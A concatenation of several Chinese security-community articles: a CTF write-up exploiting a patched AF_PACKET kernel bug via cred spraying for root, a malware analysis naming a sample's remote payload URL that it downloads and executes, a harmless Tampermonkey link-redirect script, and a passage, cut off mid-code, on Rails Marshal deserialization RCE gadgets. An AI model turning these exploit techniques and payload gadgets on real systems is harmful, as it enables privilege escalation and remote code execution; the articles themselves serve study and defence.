{
...
switch (po->tp_version) {
case TPACKET_V3:
/* Block transmit is not supported yet */
if (!tx_ring) {
init_prb_bdqc(po, rb, pg_vec, req_u);
} else {
struct tpacket_req3 *req3 = &req_u->req3;
if (req3->tp_retire_blk_tov ||
req3->tp_sizeof_priv ||
req3->tp_feature_req_word) {
err = -EINVAL;
goto out_free_pg_vec;
}
}
break;
...
}
`init_prb_bdqc()`函数将提供的环形缓冲区参数复制到环形缓冲区结构的`prb_bdqc`字段，基于它们计算其他一些参数，设置块超时计时器并调用`prb_open_block()`初始化第一个块：
//v5.9/source/net/packet/af_packet.c
static void init_prb_bdqc(struct packet_sock *po,
struct packet_ring_buffer *rb,
struct pgv *pg_vec,
union tpacket_req_u *req_u)
{
struct tpacket_kbdq_core *p1 = GET_PBDQC_FROM_RB(rb);
struct tpacket_block_desc *pbd;
...
pbd = (struct tpacket_block_desc *)pg_vec[0].buffer;
p1->pkblk_start = pg_vec[0].buffer;
p1->kblk_size = req_u->req3.tp_block_size;
...
p1->blk_sizeof_priv = req_u->req3.tp_sizeof_priv;
rwlock_init(&p1->blk_fill_in_prog_lock);
p1->max_frame_len = p1->kblk_size - BLK_PLUS_PRIV(p1->blk_sizeof_priv);
prb_init_ft_ops(p1, req_u);
prb_setup_retire_blk_timer(po);
prb_open_block(p1, pbd);
}
`prb_open_block()`函数所做的事情是将`tpacket_kbdq_core`结构的`nxt_offset`字段设置为指向每个块的私有区域之后：
//v5.9/source/net/packet/af_packet.c
/*
* Side effect of opening a block:
* 1) prb_queue is thawed.
* 2) retire_blk_timer is refreshed.
*/
static void prb_open_block(struct tpacket_kbdq_core *pkc1,
struct tpacket_block_desc *pbd1)
{
...
pkc1->pkblk_start = (char *)pbd1;
pkc1->nxt_offset = pkc1->pkblk_start + BLK_PLUS_PRIV(pkc1->blk_sizeof_priv);
...
}
#### 封包接收
每当接收到新数据包时，内核都应将其保存到环形缓冲区中。
这里的关键功能是`__packet_lookup_frame_in_block()`，它可以执行以下操作：
1. 检查当前活动块是否有足够的空间容纳数据包。
2. 如果是，则将数据包保存到当前块并返回。
3. 如果不是，则分派下一个块并将数据包保存在那里。
//v5.9/source/net/packet/af_packet.c
/* Assumes caller has the sk->rx_queue.lock */
static void *__packet_lookup_frame_in_block(struct packet_sock *po,
struct sk_buff *skb,
unsigned int len
)
{
struct tpacket_kbdq_core *pkc;
struct tpacket_block_desc *pbd;
char *curr, *end;
pkc = GET_PBDQC_FROM_RB(&po->rx_ring);
pbd = GET_CURR_PBLOCK_DESC_FROM_CORE(pkc);
...
curr = pkc->nxt_offset;
pkc->skb = skb;
end = (char *)pbd + pkc->kblk_size;
/* first try the current block */
if (curr+TOTAL_PKT_LEN_INCL_ALIGN(len) < end) {
prb_fill_curr_block(curr, pkc, pbd, len);
return (void *)curr;
}
/* Ok, close the current block */
prb_retire_current_block(pkc, po, 0);
/* Now, try to dispatch the next block */
curr = (char *)prb_dispatch_next_block(pkc, po);
if (curr) {
pbd = GET_CURR_PBLOCK_DESC_FROM_CORE(pkc);
prb_fill_curr_block(curr, pkc, pbd, len);
return (void *)curr;
}
...
}
## 漏洞分析
该题直接通过patch的方式将漏洞引入：
4327,4328c4327,4328
< req->tp_block_size <
< BLK_PLUS_PRIV((u64)req_u->req3.tp_sizeof_priv) + min_frame_size)
--- > (int)(req->tp_block_size - > BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)) <= 0)
这条判断是为了确保块头的长度以及每个块的私有数据不大于块的大小。 但可以绕过此检查。 如果`req_u->
req3.tp_sizeof_priv`设置了较高的位，则将表达式转换为int会导致大的正值而不是负的值：
A = req->tp_block_size = 4096 = 0x1000
B = req_u->req3.tp_sizeof_priv = (1 << 31) + 4096 = 0x80001000
BLK_PLUS_PRIV(B) = (1 << 31) + 4096 + 48 = 0x80001030
A - BLK_PLUS_PRIV(B) = 0x1000 - 0x80001030 = 0x7fffffd0
(int)0x7fffffd0 = 0x7fffffd0 > 0
当将`req_u-> req3.tp_sizeof_priv`复制到`init_prb_bdqc()`中的`p1->
blk_sizeof_priv`（请参见上面的代码段）中时，它将被限制在两个较低的字节上，因为后者的类型是无符号的。
因此，该漏洞基本上可以绕过所有检查，将`tpacket_kbdq_core`结构的`blk_sizeof_priv`设置为任意值。
如果在源码 `net/packet/af_packet.c`中搜索查找使用`blk_sizeof_priv`的位置，则会发现在以下两个地方都在使用它。
第一个位于`init_prb_bdqc()`中，然后立即对其进行分配以设置`max_frame_len`。
`p1->max_frame_len`的值表示可以保存到块中的最大帧大小。
由于可以控制`p1->blk_sizeof_priv`，因此可以使`BLK_PLUS_PRIV(p1-> blk_sizeof_priv)`大于`p1->
kblk_size`。 这将导致`p1->max_frame_len`具有很大的值，大于块的大小。
这可以在将帧复制到块中时绕过大小检查，从而导致内核堆越界写入。
第二个位于`prb_open_block()`，它将初始化一个块。 `pkc1->
nxt_offset`表示地址，内核将在接收到新数据包后在其中写入新地址。 内核无意覆盖块头和每个块的私有数据，因此它使该地址指向它们之后。
由于控制`blk_sizeof_priv`，因此可以控制`nxt_offset`的最低两个字节。 这可以控制越界写入的偏移量。
## 漏洞利用
### 设置沙盒
由于进程必须在控制其网络名称空间的用户名称空间中具有`CAP_NET_RAW`功能，在编译内核阶段开启`CONFIG_USER_NS=y`
void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();
//取消共享用户名称空间，以便将调用进程移到新的用户名称空间中，
//该名称空间不会与任何先前存在的进程共享。
//就像由clone（2）使用CLONE_NEWUSER标志创建的子进程一样，
//调用者在新名称空间中获得了完整的功能集。
if (unshare(CLONE_NEWUSER) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
//取消共享网络名称空间，以便将调用进程移到新的网络名称空间，
//该名称空间不会与任何先前存在的进程共享。
//使用CLONE_NEWNET需要CAP_SYS_ADMIN功能。
if (unshare(CLONE_NEWNET) != 0) {
perror("[-] unshare(CLONE_NEWNET)");
exit(EXIT_FAILURE);
}
//写了"deny"到文件/proc/[pid]/setgroups，
//是为了限制在新user namespace里面调用setgroups函数来设置groups
if (!write_file("/proc/self/setgroups", "deny")) {
perror("[-] write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
perror("[-] write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
perror("[-] write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}
//将进程绑定到cpu0，主要是为了让之后分配的slub
//在一个__per_cpu_offset内便于之后进行堆喷
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
perror("[-] sched_setaffinity()");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo up") != 0) {
perror("[-] system(/sbin/ifconfig lo up)");
exit(EXIT_FAILURE);
}
}
### spray cred
由于本题是在kernel
5.9内，原poc无论是泄露KASLR还是后续利用的方法在当前内核版本均不能使用（之后的章节会进行详细阐述），并且本题环境中没有`/dev/ptmx`无法使用修改`tty_struct`劫持
ioctl 指针这种常规方法。经过尝试可以用spray cred结构后通过漏洞溢出修改cred结构体完成提权。
在创建进程时每个进程都会将当前进程凭证存储在 `struct cred`结构体中，它通过`kmalloc`分配空间，`kmalloc`底层通过`slab
allocator`进行分配，而为了提升性能减少重复的申请和释放，会用多个`slab`组成一个对应特定大小的缓存，在释放操作时并不会真正的释放，而是放入缓存修改成未使用状态，等下一次有相同大小的内存申请时直接从缓存返回，而不需要再次真正的申请物理内存，大小为`2^n`。kernel
5.9中的大小为168。
ivan@ubuntu:~/kernel/linux-5.9-patched$ pahole -C cred ./vmlinux
die__process_function: tag not supported (INVALID)!
struct cred {
atomic_t usage; /* 0 4 */
kuid_t uid; /* 4 4 */
kgid_t gid; /* 8 4 */
kuid_t suid; /* 12 4 */
kgid_t sgid; /* 16 4 */
kuid_t euid; /* 20 4 */
kgid_t egid; /* 24 4 */
kuid_t fsuid; /* 28 4 */
kgid_t fsgid; /* 32 4 */
unsigned int securebits; /* 36 4 */
kernel_cap_t cap_inheritable; /* 40 8 */
kernel_cap_t cap_permitted; /* 48 8 */
kernel_cap_t cap_effective; /* 56 8 */
/* --- cacheline 1 boundary (64 bytes) --- */
kernel_cap_t cap_bset; /* 64 8 */
kernel_cap_t cap_ambient; /* 72 8 */
unsigned char jit_keyring; /* 80 1 */
/* XXX 7 bytes hole, try to pack */
struct key * session_keyring; /* 88 8 */
struct key * process_keyring; /* 96 8 */
struct key * thread_keyring; /* 104 8 */
struct key * request_key_auth; /* 112 8 */
void * security; /* 120 8 */
/* --- cacheline 2 boundary (128 bytes) --- */
struct user_struct * user; /* 128 8 */
struct user_namespace * user_ns; /* 136 8 */
struct group_info * group_info; /* 144 8 */
union {
int non_rcu; /* 4 */
struct callback_head rcu; /* 16 */
}; /* 152 16 */
/* size: 168, cachelines: 3, members: 25 */
/* sum members: 161, holes: 1, sum holes: 7 */
/* last cacheline: 40 bytes */
};
因为,128< 168< 192 ，理论上是会使用`kmalloc-192`换存，但如果仔细阅读源码或进行调试会发现，`struct
cred`是从`cred_jar`缓存分配的，查看`/proc/slabinfo`可以发现`cred_jar`大小也是192：
$ sudo cat /proc/slabinfo | grep cred_jar
# name <active_objs> <num_objs> <objsize> <objperslab> <pagesperslab> : tunables <limit> <batchcount> <sharedfactor> : slabdata <active_slabs> <num_slabs> <sharedavail>
...
cred_jar 2856 2856 192 21 1 : tunables 0 0 0 : slabdata 136 136 0
...
因此先使用`fork()`创建多个进程进行堆喷将`cred_jar`的`cahce`耗尽，之后再创建一个大小为`0x8000`的`ring_buffer`的`packet_sock`，申请`block`会使`page
allocator`的`freelist`中的相应大小的页耗尽，因为申请物理页的大小也是按`2^n`计算，这样之后再申请就会从第一个大于`n`的`m`且`freelist`中不为空的`2^m`大小的页中分割内存。
之后
申请一个`packet_sock`并且设置一个有两个块大小为`0x8000`的`ring_buffer`，再多次调用`fork()`进行填充，由于`cred_jar`缓存和`freelist`中相应大小的页中都已耗尽，这样它们会有很大机会在更大的页上被连续得分配。
大致排布结构如下：
+-------------+--------+-----+--------+--------+
| block | cred | ... | cred | cred |
+-------------+--------+-----+--------+--------+
排布完毕后剩下的就是触发漏洞，将 cred 结构体 uid 到 fsgid 值全部置为0即可完成提权。
另外，由于本题在进行漏洞利用前设置了命名空间，所以不能简单的使用`getuid() ==
0`的方法判断是否为root权限，可以通过尝试打开root权限的文件来判断提权是否成功。
运行效果如下：
/ $ ./poc
[.] starting
[.] namespace sandbox set up
[.] padding heap
/ $ id
uid=65534 gid=65534 groups=0(root)
/ $ cat /root/flag
n1ctf{this is the flag}
POC实现如下：[poc](https://raw.githubusercontent.com/yifengchen-cc/kernel-pwn/main/2020N1CTF-W2L%20%26%26%20CVE-2017-7038%E5%88%86%E6%9E%90/poc.c)
## 后话
因为写exp时尝试了一些其他方法在此也做一个记录，本小结主要分析官方writeup[5]里面绕过KASLR的通用方法及介绍iovec任意地址读写的方法。
### 信息泄露
在kernel4.8版本里dmesg可以泄露内核地址从而绕过KASLR，kernel5.9中则不行。官方题解中使用
`user_key_payload`这个结构体通过堆喷后排布内存空间进而泄露内核地址绕过KASLR。
首先来看下`user_key_payload`结构体：
//v5.9/source/include/keys/user-type.h#L27
struct user_key_payload {
struct rcu_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this data */
char data[] __aligned(__alignof__(u64)); /* actual data */
};
该结构体的`datalen`字段记录了`data`的长度，因此如果可以通过越界写将`datalen`字段改为一个较大值，就可以泄露`data`后面的内容。
在用户层使用`add_key()`函数时会引入`user_key_payload`结构体，`add_key()`函数主要是将密钥添加到内核的密钥管理。其引入该结构体的调用链如下：`__x64_sys_add_key()->key_create_or_update()->user_preparse()`。`user_preparse()`函数实现如下：
//v5.9/source/security/keys/user_defined.c#L59
int user_preparse(struct key_preparsed_payload *prep)
{
struct user_key_payload *upayload;
size_t datalen = prep->datalen;
...
upayload = kmalloc(sizeof(*upayload) + datalen, GFP_KERNEL);
...
/* attach the data */
prep->quotalen = datalen;
prep->payload.data[0] = upayload;
upayload->datalen = datalen;
memcpy(upayload->data, prep->data, datalen);
return 0;
}
在调用`add_key()`添加key时，会通过`key_alloc()`创建`struct key`结构体。5.9版本`struct
key`大小为216。因为192 < 216 < 256，所以会使用`kmalloc-256`缓存。
当时查看`add_key()`函数代码时由于`user_key_payload`结构体先于 `key` 分配，因此想构造如下排布：
+-----+------------------+-----+-----+------------------+-----+
|block| user_key_payload | key | ... | user_key_payload | key |
+-----+------------------+-----+-----+------------------+-----+
这样通过`ring_buffer`溢出后修改`user_key_payload->datalen`字段为一较大值，之后在用户层调用`read_key`查看即可泄露`struct
key`。但是当实际进行调试时发现`struct
key`并不从`kmalloc-256`进行分配而是从另一大小同为256的`pool_workqueue`进行分配，实际构造排布如下：
+-------------+------------------+-----+------------------+
| block | user_key_payload | ... | user_key_payload |
+-------------+------------------+-----+------------------+
虽然不能泄露`struct
key`但在`add_key`时还在`kmalloc-512`引入了其他结构体而经过排布后`kmalloc-256`与`kmalloc-512`相邻，因此可以泄露`struct
assoc_array_edit`中的`keyring_assoc_array_ops`进而绕过KASLR。引入该结构体的调用链如下：`__x64_sys_add_key()->lookup_user_key()->look_up_user_keyrings()->key_link()->__key_link_begin()->assoc_array_insert()`
### 缓解绕过
在泄露出内核地址后，最开始打算按照原poc的方法覆盖`packet_sock->rx_ring->prb_bdqc->retire_blk_timer`为`native_write_cr4`，通过`retire
timer`超时后调用`retire_blk_timer->function(retire_blk_timer->data)`，由于`retire_blk_timer->data`可控，以此可以来绕过`SMEP`和`SMAP`。然而在kernel5.9中`timer_list`的data字段早已被移除[6]，这种方法就此失效。
之后又尝试修改 iovec 进行任意内存读写，这个方法在Project Zero对于CVE-2019-2215的利用中有过提及[7]。
`struct iovec`用于 Vectored I/O 也称 Scatter/Gather I/O。 Vectored I/O
允许使用多个缓冲区写入数据流，或将数据流读取到多个缓冲区。它的优势是可以使用不连续的不同缓冲区进行写入或读取，而不会产生大量开销。
iovec结构实现如下：
struct iovec
{
void __user *iov_base; /* BSD uses caddr_t (1003.1g requires void *) */
__kernel_size_t iov_len; /* Must be size_t (1003.1g) */
};
在Linux中，可使用iovec结构和系统调用（如readv，writev，recvmsg，sendmsg等）来实现 Vectored I/O 。
`struct iovec`的主要问题之一是它使用周期短。
在使用缓冲区时由系统调用分配，并在返回用户模式时立即释放。我们希望iovec结构在触发漏洞越界写时覆盖`iov_base`指针时保留在内核中，以获取范围内的读写。一种方法是在管道文件描述符上使用系统调用，例如readv，writev，因为它可以在管道已满或为空时阻塞。
攻击方式如下：
* 初始化 iovec 数组
* 创建管道
* 在管道上调用writev函数
* 触发漏洞越界写iovec结构体的 `iov_base` 指向要读写的区域
* 调用read函数读取内核数据
当时的思路是用这种方法读取`task_list`然后找到当前进程进而将当前进程cred覆写实现提权。但在实现过程中发现writev无法成功读取被修改的
`iov_base`，查看源码后发现5.9内核添加了iovec在进行copyin，copyout前对输入地址的校验[8]，导致这种方法利用不成功（当时我尝试是这样的，如果有大佬尝试成功了请联系我）。
## 总结
这道题调了挺长时间的，对slab分配机制、堆喷占位的技巧有了更深入的认识，最后感谢ZhenpengLin师傅的帮助和指导 : )
## 参考资料
[1] <https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html>
[2] <https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c>
[3] <http://repwn.com/archives/27/>
[4] <https://www.kernel.org/doc/Documentation/networking/packet_mmap.txt>
[5] <https://github.com/Markakd/n1ctf2020_W2L>
[6] <https://lwn.net/Articles/735887/>
[7] <https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html>
[8]
<https://github.com/torvalds/linux/commit/09fc68dc66f7597bdc8898c991609a48f061bed5> | 社区文章 |
**作者: Yenn_
原文链接:[Wei's
Blog](https://www.weisblog.club/2020/04/22/MMcORE%E9%92%88%E5%AF%B9%E4%B8%9C%E5%8D%97%E4%BA%9A%E7%9A%84APT%E6%94%BB%E5%87%BB/#%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF)**
## 基本信息
File Name | File Size | File Type | MD5
---|---|---|---
| 76,800 Byte | | bbe4ae55f828e020c32e215f4d152cc3
## 查壳
[
无壳
## 详细分析
在运行后，动态行为中未发现任何异常，可能有对抗检测的操作
[
拉进IDA，来到MAIN函数
[
[
### 对抗检测
先取得一次当前激活窗口名，每隔1000ms检测一次当前活动的窗口，然后比较两次是否一样，如果一样则进入死循环，一直查找窗口
[
然后利用memset函数，将一片内存置0，然后在置0的一块内存中得出一个DLL名，snxhk.dll
是杀毒软件Avast的一个模块
[
[
### 解密字符串
使用memset置0内存，再解密出一个url dailysync.zapto.org
[
[
解密出一个jpg路径，/fancycumti/combidation/scale.jpg
[
[
将前面得出的URL和jpg路径转换为宽字符
[
然后进入一个死循环，生成一个随机数，再利用生成的随机数Sleep
[
### 请求资源
加载wininet.dll，wininet.dll是windows应用程序中的网络相关模块
[
利用Getprocaddress，获取大量函数地址
[
对dailysync.zapto.org/fancycumti/combidation/scale.jpg发起http请求
[
### 加载资源
从远程服务器中请求一个jpg资源，然后读取jpg的数据
[
修改申请内存的页属性，然后创建新线程，执行读取到的内容
[
dailysync.zapto.org/fancycumti/combidation/scale.jpg已经挂了，目前为止还没找到可下载的样本，后面的暂时分析不了。
* * * | 社区文章 |
# 【技术分享】手把手教你“复活”乌云网
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：[](http://bobao.360.cn/member/contribute?uid=2606963099)**[
**三思之旅**](http://bobao.360.cn/member/contribute?uid=1630860495)
**稿费：500RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿**
**
**
**从乌云网升级说起**
本人刚踏入安全圈不久，在学习的过程中除了阅读一些经典书籍外，像安全客、乌云网、Freebuf等网站也是我光顾最多的地方。在7月初，我有幸参加了今年的乌云峰会。然而，回来之后，激动的心情还没有平复，乌云网就进入升级状态！对于圈内人士来说，乌云网不仅是一个漏洞平台，也是一个巨大的知识库。现在乌云网因升级而导致不能访问，对于安全从业人员尤其是像我这样的安全小白来说，影响也是巨大的。某一天，我在浏览[安全客](http://bobao.360.cn/
"安全客")的一篇知识帖——[密码找回逻辑漏洞总结](http://bobao.360.cn/learning/detail/287.html
"密码找回逻辑漏洞总结")的时候，就遇到了问题：在这篇知识总结帖里引用了许多乌云网的漏洞及知识库文章。老司机们可能都看过所引内容，但是作为小白的我是真的没看过原文。现在一点链接就打开乌云网升级提示，怎么办？
**
**
**天无绝人之路**
7月底的某一天，忘了是在哪个网上看到一条消息，[@hanc00l](https://github.com/hanc00l "@hanc00l")
同学在6月底把乌云网的全部公开漏洞和知识库文章爬了下来，并在虚拟机中搭建了乌云镜像站以提供漏洞及知识库文章搜索，然后公布在了[Github](https://github.com/hanc00l/wooyun_public
"Github")上。这真是解决了燃眉之急啊，妈妈再也不用担心我的学习了！于是赶紧在第一时间下载了乌云镜像站虚拟机文件，并进行了试用。终于能够看到[密码找回逻辑漏洞总结](http://bobao.360.cn/learning/detail/287.html
"密码找回逻辑漏洞总结")中所引用的乌云漏洞和知识库文章了，眼泪哗哗的！！
**解决旧问题 又有新情况**
乌云网公开漏洞、知识库搜索镜像（以下简称乌云网镜像）很好的解决了针对关键字进行搜索的问题。但是，我在使用中发现，又发现一个新的问题始终困扰着我：
在我浏览[密码找回逻辑漏洞总结](http://bobao.360.cn/learning/detail/287.html
"密码找回逻辑漏洞总结")这篇文章的过程中，为了查看被引用的乌云网文章，直接点击链接当然是打不开的。想查看原文内容只有两种办法，一种方法是根据关键词在乌云镜像站中进行搜索，然后再打开链接；另一种方法是根据原链接构造乌云镜像站中的文章链接（乌云镜像站中漏洞编号、知识库文章编号和原乌云网中是一致的）。
也许是我太懒了，我总是觉得这两种方法都太烦琐，本来就是点一下鼠标的事儿，现在搞得这么复杂，既要切换页面，又要复制粘贴，手速再快也少不了10秒钟。我希望原来就是点一下鼠标的事儿，现在还是点一下鼠标！当然在点鼠标的过程中，需要浏览器对链接进行转换，将原来乌云网的链接转换成现在乌云网镜像的链接。这种转换对于用户来说是透明的，即点即开，就好像乌云网“复活”了一样。
**
**
**自己动手 丰衣足食**
上述想法明显是要改变浏览器针对特定链接的点击行为，所以首先就想到了写个浏览器插件。不过问题来了，没写过浏览器插件啊，现在写个插件貌似要经过审核才能用啊，而且我既用Chrome，又用Firefox，难道都要写两个插件！仔细一想，写个浏览器插件工作量太大，不太现实。还有其他方法吗？这时，我想到了以前用过的一个浏览器插件：油猴子[Greasemonkey](http://www.greasespot.net/
"Greasemonkey")（在Chrome中是[Tampermonkey](https://chrome.google.com/webstore/detail/dhdgffkkebhmkfjojejmpbldmpobfkfo
"Tampermonkey")）。在网上进行了一番搜索，没有找到前人所造的轮子，那就只能自己动手造轮子了。
油猴子是一个神奇的浏览器插件，通过执行相应的油猴子脚本，可以在浏览页面的过程中达到对页面进行修改（比如去广告、优化显示等）的目的。油猴子脚本使用Javascript编写，在Chrome和Firefox中都通用。脚本编写也很简单，就拿我这种对Javascript一知半解、平时最多也就写个弹窗的人来说，花了一个小时的时间学习了一下[深入浅出
Greasemonkey](http://old.sebug.net/paper/books/greasemonkey/ "深入浅出
Greasemonkey")也就完成了基本功能。
思路很简单：点击链接时，获取链接对应的URL地址，然后判断是否是乌云网漏洞或者知识库文章的页面地址，如果是的话就转换成乌云镜像站的URL地址。经过对比发现，乌云网漏洞或者知识库文章的URL地址和乌云镜像站的URL地址是一一对应的，其转换规则如下表所示。其中192.168.162.138:5000（注：这是最初我的乌云镜像站地址，现在重新下载了新的虚拟机镜像，地址变成了截图中的192.168.162.142:5000）是我自己所搭建的乌云镜像站的首页地址。
基于此规则，我编写了如下的油猴子脚本（第一次啊！）。
// ==UserScript==
// @name 乌云链接转换器
// @namespace http://think3t.iteye.com/
// @version 0.1
// @description 将原乌云漏洞及知识库链接转换为指定的镜像库链接，实现无缝浏览！
// @author hktk_hrl
// @include *
// @exclude http://www.baidu.com/*
// @exclude https://www.baidu.com/*
// @exclude http://www.google.com/*
// @exclude https://www.google.com/*
// @require http://code.jquery.com/jquery-2.1.4.min.js
// @grant none
// ==/UserScript==
var mirrorHostName = 'http://192.168.162.138:5000'; //镜像库域名或IP
var mirrorUrlPrefix = mirrorHostName + '/static'; //镜像库URL前缀，默认为http://ip:5000/static
$('body').on('click', 'a', function () {
var target = this;
//规则10：http://www.wooyun.org/bugs/wooyun-2012-011833 --> http://192.168.162.138:5000/static/bugs/wooyun-2012-011833.html
if (this.href.match(/http://www.wooyun.org/bugs/.*/)) {
newUrl = this.href.replace(/http://www.wooyun.org/, mirrorUrlPrefix) + '.html';
this.href = newUrl;
console.log('Tampermonkey log: oldUrl=' + this.href);
console.log('Tampermonkey log: newUrl=' + this.href);
}
});
赶紧打开[密码找回逻辑漏洞总结](http://bobao.360.cn/learning/detail/287.html
"密码找回逻辑漏洞总结")这篇文章测试一下。当点击乌云网链接之后跳转到本地乌云镜像站页面的那一刻，我的内心是相当激动的！再一次眼泪哗哗的……
**
**
**精益求精**
上述v0.1的脚本使用了几天之后，发现该脚本还不够完善，仍然存在一些问题：
**脚本只对鼠标左键点击的链接起作用，鼠标中键点击或者右键菜单中打开链接都不起作用**
**脚本好像产生了一些负作用：百度或者谷歌搜索某一关键词之后，再次点击搜索按钮不起作用了。**
怀疑是给页面中所有链接绑定新的点击事件后，影响到原来的事件响应了。
既然发现了问题，那就继续优化一下吧。既然绑定新事件可能会影响到原有的事件响应，那就不要绑定事件了，直接在页面加载过程中，将页面中所有的原乌云网链接转换为本地镜像站的链接。这样既不影响原来的点击事件，另外由于链接本身已经转换为乌云镜像站的链接，因此不管是左键、中键还是右键点击，都起作用了。按照这个思路，重新写了v0.2版本的脚本。
// ==UserScript==
// @name 乌云网漏洞及知识库链接转换器
// @namespace http://think3t.iteye.com/
// @version 0.2
// @description 将原乌云网漏洞及知识库链接转换为指定的镜像站链接，实现无缝浏览！
// @author hktk_hrl
// @include *
// @grant none
// ==/UserScript==
var mirrorHostName = 'http://192.168.162.138:5000'; //乌云镜像站地址，请根据实际情况改写为自己可用的地址
var mirrorUrlPrefix = mirrorHostName + '/static'; //乌云镜像站URL前缀，默认为http://mirrorHostName/static
var bugsReg = /http://www.wooyun.org(/bugs/wooyun-d+-d+)/; //乌云漏洞页面URL匹配规则
var dropsReg = /http://drops.wooyun.org/(.+)/(d+)/; //乌云知识库页面URL匹配规则
var allLinks = document.getElementsByTagName('a');
for (var i = 0; i < allLinks.length; i++) {
var a = allLinks[i];
var oldUrl = a.href;
var arr, newUrl;
//漏洞页面规则：http://www.wooyun.org/bugs/wooyun-2012-011833 --> http://192.168.162.138:5000/static/bugs/wooyun-2012-011833.html
if (bugsReg.test(oldUrl)) {
arr = bugsReg.exec(oldUrl);
newUrl = mirrorUrlPrefix + arr[1] + '.html';
a.href = newUrl;
}
//知识库页面规则：http://drops.wooyun.org/category/12345 --> http://192.168.162.138:5000/static/drops/category-12345.html
else if (dropsReg.test(oldUrl)) {
arr = dropsReg.exec(oldUrl);
newUrl = mirrorUrlPrefix + '/drops/' + arr[1] + '-' + arr[2] + '.html';
a.href = newUrl;
}
}
v0.2版本的脚本使用到现在，还没出现新的问题，一切都很顺利~~
上述脚本我已经上传至[Greasy Fork](https://greasyfork.org/zh-CN)脚本库，地址为[乌云网漏洞及知识库链接转换器](https://greasyfork.org/zh-CN/scripts/22897-%E4%B9%8C%E4%BA%91%E7%BD%91%E6%BC%8F%E6%B4%9E%E5%8F%8A%E7%9F%A5%E8%AF%86%E5%BA%93%E9%93%BE%E6%8E%A5%E8%BD%AC%E6%8D%A2%E5%99%A8)，需要的童鞋可自行安装。如果遇到问题，欢迎大家留言反馈。另外，直接打开油猴子脚本编辑器，粘贴上述代码并保存也是可以的。无论哪一种方法，都要将mirrorHostName变量的值（也就是<http://192.168.162.138:5000>）修改为你自己的乌云网镜像站地址。
**
**
**总结**
没用到什么高深的技术，但是确实解决了我所遇到的问题，节省了我的时间。俗话说得好：懒人改变世界，但前提是懒人愿意通过技术手段解放双手。我是懒人，懂点技术；撰写此文，与君共勉（老司机请一笑而过）！
**
**
**参考文献**
激发我写此文、并且用来测试脚本效果的：[密码找回逻辑漏洞总结](http://bobao.360.cn/learning/detail/287.html
"密码找回逻辑漏洞总结")
@hanc00l 同学开源的：[乌云公开漏洞、知识库搜索](https://github.com/hanc00l/wooyun_public
"乌云公开漏洞、知识库搜索")
学习油猴子脚本开发入门知识的：[深入浅出
Greasemonkey](http://old.sebug.net/paper/books/greasemonkey/ "深入浅出
Greasemonkey") | 社区文章 |
# 前言
Ruby on Rails是一个流行的应用程序平台，它使用cookie来识别应用程序会话。
cookie由两部分组成：cookie-value和signature。每当Rails获取cookie时，它通过验证发送的cookie值的哈希/签名是否与发送的签名匹配来验证cookie是否未被篡改。用于检索内容的解组cookie通常包含三个逻辑步骤：
url_decoded_cookie = CGI :: unescape（cookie_value）
b64_decoded_session = Base64.decode64（url_decoded_cookie）
session = Marshal.load（b64_decoded_session）
在许多白盒Ruby on
Rails项目的审计过程中，我们一次又一次地遇到了元组反序列化的不安全使用。虽然会话cookie反序列化是一个严重的问题，但是有一整类的解组错误可能导致远程执行代码（RCE）。所有情况都是相似的：解组cookie，一些GET-POST数据或用户会话中的任何类型的数据。例如：
if（data = @cookies [：user_data]）。present？
user，info = Marshal.load（Base64.decode64（data））
这种调用demarshalling是使用反序列化机制的一个非常危险的例子，因为它可能直接导致任意代码执行。这是最终目标，但首先，我们需要构建在访问时运行的代码。
# PoC创建
第一步是使用一些erb模板解析器，如ERB或Erubis，它在GitHub Enterprise中使用。src变量的实例可能包含纯Ruby代码;
因此，我们可以在此处放置有效负载，并使用将要执行的代码。
erb = ERB.allocate
erb.instance_variable_set :@src, “%x();”
<https://github.com/ruby/ruby/blob/trunk/lib/erb.rb#L875>:
738: class ERB
…
852: # Generate results and print them. (see ERB#result)
853: def run(b=new_toplevel)
854: print self.result(b)
855: end
…
865: def result(b=new_toplevel)
…
875: eval(@src, b, (@filename || ‘(erb)’), @lineno)
876: end
877: end
or
erb = Erubis::Eruby.allocate
erb.instance_variable_set :@src, “%x{};”
<https://github.com/kwatch/erubis/blob/master/lib/erubis/evaluator.rb#L65>:
10: module Erubis
…
44: module RubyEvaluator
…
52: ## eval(@src) with binding object
53: def result(_binding_or_hash=TOPLEVEL_BINDING)
…
65: return eval(@src, _b, (@filename || ‘(erubis’))
查看用于执行有效负载的评估程序的源代码，我们需要在创建erb对象之后调用结果方法。我们不能直接影响执行过程;
因此，我们需要在解组过程中以某种方式强制调用结果方法。InstanceVariableProxy类可以帮助我们解决这类问题。ActiveSupport模块包含一种特殊的机制，用于标记过时的方法并对其进行更改，以使其现在可以正常工作。这叫做ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy。
简单地说，这个机制与解释者交谈：“嘿，伙计。不再支持此方法。请使用这个并运行。“
089: class DeprecatedInstanceVariableProxy < DeprecationProxy
090: def initialize(instance, method, var = “@#{method}”, deprecator = ActiveSupport::Deprecation.instance)
091: @instance = instance
092: @method = method
…
098: def target
099: @instance.__send__(@method)
…
102: def warn(callstack, called, args)
103: @deprecator.warn(“#{@var} is deprecated! Call #{@method}.#{called} instead of #{@var}.#{called}. Args: #{args.inspect}”, callstack)
